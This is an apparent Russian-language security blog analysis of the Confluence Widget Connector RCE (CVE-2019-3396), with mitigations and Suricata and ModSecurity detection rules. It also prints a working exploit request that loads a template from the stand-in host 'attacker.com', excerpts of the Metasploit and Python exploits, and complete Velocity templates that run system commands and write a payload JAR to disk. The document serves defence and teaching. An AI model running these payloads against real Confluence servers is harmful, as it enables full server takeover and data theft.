Уязвимость в Atlassian Confluence Server
Уязвимость в Atlassian Confluence Server
Категория: Программы Теги: Уязвимости Опубликовано: 18 сентября 2025

Уязвимость BDU:2019-02771 (CVE-2019-3396) Atlassian Confluence Server

Уязвимость BDU:2019-02771 (CVE-2019-3396) удаленного выполнения кода (RCE) в компоненте Widget Connector серверов Atlassian Confluence Server и Data Center. Уязвимость возникает из-за цепочки уязвимостей: неправильной проверки входящих данных в параметре _template, приводящей к инъекции шаблонов Velocity (SSTI), и обхода путей (Path Traversal). Это позволяет неаутентифицированному удаленному злоумышленнику заставить сервер загрузить и выполнить произвольный вредоносный шаблон, что в конечном итоге приводит к полному контролю над уязвимым сервером.

Анализ уязвимости

Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сетевой) - Атака может быть осуществлена через сеть, без физического доступа или локального присутствия.

  • AC:L (Сложность атаки: Низкая) - Для эксплуатации не требуются специальные условия, атака стандартна и легко воспроизводима.

  • PR:N (Уровень привилегий: Не требуется) - Для проведения атаки не нужна аутентификация или какие-либо привилегии.

  • UI:N (Вовлечение пользователя: Не требуется) - Атака не требует взаимодействия с пользователем.

  • S:U (Область воздействия: Не изменяется) - Успешная атака не оказывает влияния на другие компоненты или системы, не связанные с уязвимым приложением.

  • C:H (Влияние на конфиденциальность: Высокое) - Полное нарушение конфиденциальности.

  • I:H (Влияние на целостность: Высокое) - Полное нарушение целостности.

  • A:H (Влияние на доступность: Высокое) - Полное нарушение доступности.

Условия эксплуатации

Для успешной атаки злоумышленнику необходимо:

  1. Сетевой доступ к порту, на котором работает уязвимый Confluence (по умолчанию TCP/8090). Сервер должен быть доступен из интернета или из сети, в которой находится злоумышленник (например, внутрикорпоративной).

  2. Наличие уязвимой версии ПО (см. список ниже).

  3. Возможность разместить на контролируемом злоумышленником сервере вредоносный шаблон (.vm файл) и предоставить к нему доступ по HTTP/HTTPS или, что чаще всего используется в эксплоитах, по FTP.

Доступ к панели управления Confluence или каким-либо учетным данным не требуется.

Уязвимые версии ПО:

  • Atlassian Confluence Server 6.6.0
  • Atlassian Confluence Server 6.7.0
  • Atlassian Confluence Server 6.8.0
  • Atlassian Confluence Server 6.9.0
  • Atlassian Confluence Server 6.10.0
  • Atlassian Confluence Server 6.11.0
  • Atlassian Confluence Server 6.12.0
  • Atlassian Confluence Server 6.13.0
  • Atlassian Confluence Server 6.14.0
  • Atlassian Confluence Server 6.14.1

Технический анализ уязвимости и механизма атаки

Ядро уязвимости кроется в макросе widget, который предназначен для встраивания виджетов с внешних ресурсов (YouTube, Vimeo и т.д.). Параметр url этого макроса должен содержать ссылку на видео. Однако параметр _template, который изначально, вероятно, предназначался для внутреннего использования, не был должным образом заблокирован для пользовательского ввода.

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Мы проанализируем эксплоиты на Ruby для Metasploit и на Python.

Анализ HTTP-запроса

Вне зависимости от реализации эксплоита, вредоносный HTTP-запрос к серверу Confluence будет выглядеть практически идентично. Это POST-запрос на эндпоинт /rest/tinymce/1/macro/preview с телом в формате JSON.

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target-confluence-server:8090
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json; charset=utf-8
Content-Length: 345

{
  "contentId": "1",
  "macro": {
    "name": "widget",
    "body": "",
    "params": {
      "url": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
      "_template": "ftp://attacker.com:2121/cmd.vm"
    }
  }
}

Ключевой момент здесь — параметр _template. Вместо ожидаемого сервером локального пути, злоумышленник подставляет URL на внешний FTP-сервер. Уязвимый код Confluence не проверяет и не фильтрует это значение, что позволяет злоумышленнику указать любой произвольный URL.

Анализ кода эксплоита (Metasploit)

Модуль Metasploit написан на Ruby и предоставляет надежный и функциональный эксплоит.

  1. Инициализация и настройка: В методе initialize задаются базовые параметры: название, описание, авторы, ссылки на CVE, а также цели — Java, Windows, Linux.

  2. Запуск FTP-сервера: Эксплоит автоматически запускает встроенный FTP-сервер (Msf::Exploit::Remote::FtpServer). Это необходимо для размещения файлов шаблонов Velocity (.vm), которые будут запрашиваться уязвимым сервером Confluence.

    def exploit
      @wrap_marker = Rex::Text.rand_text_alpha(5..10)
      print_status("Starting the FTP server.")
      start_service # Запуск FTP-сервера
      ...
  3. Определение ОС: Перед тем как отправить полезную нагрузку, эксплоит определяет операционную систему целевого сервера. Это делается через инъекцию кода, который запрашивает системное свойство os.name с помощью Java-кода.

    def get_java_property(prop)
      @prop = prop
      res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/javaprop.vm")
      ...
    end

    Шаблон javaprop.vm содержит код Velocity:

    $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, 'os.name').toString()

    Этот код использует встроенный объект Velocity $i18n для доступа к классам Java, получает значение системного свойства и возвращает его в ответе.

  4. Загрузка и выполнение: В зависимости от ОС выбирается стратегия.

    • Для Java: Полезная нагрузка (JAR-файл) кодируется в Base64 и передается через шаблон upload.vm, который содержит Java-код для декодирования Base64 и записи бинарных данных в файл на диске.

     

    // Шаблон upload.vm
    $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('/tmp/payload.jar').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('BASE64_PAYLOAD_HERE'))

    После загрузки файла выполняется шаблон exec.vm, который запускает java -jar /tmp/payload.jar.

    • Для Windows/Linux: Логика аналогична, но загружается нативный исполняемый файл (.exe или ELF). Поскольку прямое выполнение только что записанного файла может быть заблокировано (файл занят процессом), эксплоит сначала копирует его под новым именем, а затем уже выполняет копию.

Анализ кода эксплоита (Python PoC)

Python-скрипт более простой и наглядно демонстрирует суть атаки.

  1. Подготовка: Скрипт принимает URL и команду для выполнения.

  2. Формирование запроса: Он формирует JSON, идентичный показанному выше, где в _template указывается путь к файлу cmd.vm на FTP-сервере злоумышленника. Команда для выполнения передается в параметре command.

    data = {
        "contentId": "1",
        "macro": {
            "name": "widget",
            "body": "",
            "params": {
                "url": "https://www.google.com",
                "width": "1000",
                "height": "1000",
                "_template": pyftp,  # ftp://attacker-ip:8888/cmd.vm
                "command": cmd       # Команда, напр. "whoami"
            }
        }
    }
  3. Шаблон cmd.vm: Это сердце атаки. Шаблон написан на Velocity с вкраплениями Java-кода.

    #set ($exp="exp")
    #set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
    #set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
    #set($sc = $exp.getClass().forName("java.util.Scanner"))
    #set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
    #set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
    #if($scan.hasNext())
        $scan.next()
    #end
    • #set ($exp="exp"): Просто определяет строку, чтобы получить доступ к ее классу.

    • $exp.getClass().forName("java.lang.Runtime")...exec($command): Классический способ получения экземпляра Runtime и выполнения команды, переданной в параметре $command.

    • Последующие строки кода читают вывод выполненной команды из потока (InputStream) и выводят его прямо в HTTP-ответ, используя java.util.Scanner.

Что может получить злоумышленник?

Успешная эксплуатация уязвимости приводит к выполнению произвольного кода с правами пользователя, под которым работает Confluence (часто это выделенный пользователь с умеренными привилегиями, но иногда и полноправный root/SYSTEM). Это позволяет злоумышленнику:

  1. Полное нарушение конфиденциальности: Чтение любых файлов на сервере, включая файлы конфигурации Confluence, которые содержат базу данных паролей и другие секреты. Чтение файлов других приложений на том же сервере.

  2. Полное нарушение целостности: Изменение или удаление любой информации на сервере. Модификация страниц Confluence для размещения ложной информации или фишингового контента. Установка backdoor.

  3. Полное нарушение доступности: Остановка сервера Confluence или всей виртуальной машины. Шифрование данных для выкупа.

  4. Расширение привилегий: Если Confluence работает не от root, злоумышленник может использовать уязвимости в ядре ОС или других приложениях для повышения привилегий.

  5. Движение по сети: Сервер Confluence часто находится во внутренней корпоративной сети. Скомпрометировав его, злоумышленник может использовать его как плацдарм для атак на другие внутренние системы (базы данных, системы управления, доменные контроллеры), которые не видны из интернета.

Способы защиты

Защита должна быть многоуровневой.

  1. Немедленное обновление: Это единственная по-настоящему эффективная мера. Необходимо обновить Confluence до актуальной версии. Уязвимость исправлена в 6.15.1, 6.14.2,  6.13.3, 6.12.3 и 6.6.12.

  2. Сегментация сети: Серверы Confluence не должны быть доступны из интернета без крайней необходимости. Размещайте их за VPN или в сегменте сети с строгим контролем доступа. Правило брандмауэра "запретить всё, разрешить по необходимости" минимизирует риск массового сканирования и атаки.

  3. Запуск от непривилегированного пользователя: Запускайте Confluence от имени специально созданного пользователя с минимально необходимыми привилегиями. Это не остановит атаку, но ограничит ущерб от нее.

  4. Применение правил WAF/IPS: Для обнаружения и блокирования попыток эксплуатации в реальном времени.

Правила для WAF/IPS

WAF (Web Application Firewall) должен быть размещен перед сервером Confluence. Это может быть облачный WAF (например, Cloudflare, AWS WAF) или локальное решение (ModSecurity, F5 BIG-IP). IPS (Intrusion Prevention System) должна быть размещена на границе сети или в ее критически важных сегментах.

Правило для Suricata/Snort:
Данное правило ищет ключевые признаки атаки в HTTP-запросе: конкретный URL и параметры в теле запроса.

alert http any any -> any any ( \
    msg:"ATTACK [PTsecurity] Confluence CVE-2019-3396 SSTI RCE Attempt"; \
    flow:established,to_server; \
    http.uri; content:"/rest/tinymce/1/macro/preview"; depth:32; \
    http.client_body; content:"_template"; fast_pattern; \
    http.client_body; content:"widget"; distance:0; \
    http.client_body; content:"macro"; distance:0; \
    metadata:service http; \
    reference:cve,2019-3396; \
    classtype:web-application-attack; \
    sid:10004699; rev:2;)

Это правило из набора правил Attack Detection Team от Positive Technologies, ссылку на который можно найти тут.

Пояснение: Правило срабатывает на POST-запрос к уязвимому эндпоинту, в теле которого присутствуют слова _templatewidget и macro.

Пример правила для ModSecurity (CRS):
Можно создать кастомное правило для ModSecurity.

SecRule REQUEST_FILENAME "@contains /rest/tinymce/1/macro/preview" \
    "id:10004699,\
    phase:2,\
    block,\
    t:lowercase,\
    msg:'Atlassian Confluence SSTI RCE (CVE-2019-3396)',\
    logdata:'Matched %{MATCHED_VAR}',\
    tag:'attack-rce',\
    ctl:ruleEngine=On,\
    chain"
    SecRule REQUEST_BODY "@rx _template.*(ftp|https?|file)://" \
        "set:'tx.cve_2019_3396_score=%{tx.cve_2019_3396_score}+%{tx.warning_anomaly_score}',\
        setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Пояснение: Правило ищет запросы к целевому URL и проверяет тело запроса на наличие _template, за которым следует URL-схема (ftp://http:// и т.д.).

Важно: Злоумышленники могут обфусцировать свои запросы (кодировать URL, использовать пробелы, табы). Поэтому правила необходимо регулярно дорабатывать и тестировать на ложные срабатывания.

Алексей Черемных Алексей Черемных
804